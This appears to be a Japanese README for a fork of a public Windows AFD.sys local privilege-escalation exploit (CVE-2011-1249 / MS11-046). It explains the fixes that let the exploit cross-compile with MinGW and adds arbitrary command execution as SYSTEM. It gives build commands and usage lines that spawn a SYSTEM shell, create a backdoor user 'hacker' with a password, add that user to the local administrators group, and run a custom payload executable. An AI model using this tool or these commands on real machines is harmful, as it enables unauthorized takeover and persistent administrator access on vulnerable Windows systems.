
CVE-2011-1249 (MS11-046) AFD 特権昇格 — MinGW クロスコンパイル修正 + カスタムコマンドサポート
CVE-2011-1249 / MS11-046 — Windows x86向けAFD.sys権限昇格エクスプロイト。
オリジナルのエクスプロイトはTomislav Paskalev氏によるものです (EDB-40564)。このフォークはMinGWのクロスコンパイルエラーを修正し、argv[1]によるカスタムコマンド実行を追加します。
| # | 変更 | 理由 |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → 型付き関数ポインタ (pZwQuerySystemInformation) | MinGWの厳密な型チェックは、ゼロ引数のFARPROCを引数付きで呼び出すことを拒否するため — too many arguments to function でコンパイルが失敗します |
| 2 | securityPatches[] 配列を static に変更 | if/else ブロック内で宣言された配列はスタックに割り当てられてスコープ外になるため、static がないとポインタが宙吊りになります |
| 3 | argv[1] によるカスタムコマンド | ハードコードされた cmd.exe の代わりに、任意のコマンドをSYSTEMとして実行します |
MinGWでオリジナルをコンパイルすると失敗します:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC はゼロ個の引数で宣言された汎用関数ポインタです。MinGWは厳密な型チェックを強制するため、引数を渡して呼び出すと拒否されます。修正方法は、正しいシグネチャを持つ型付き関数ポインタを使用することです。
プリコンパイル済みバイナリは存在しますが(例: SecWiki/windows-kernel-exploits)、カスタムコマンドには対応していません。
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM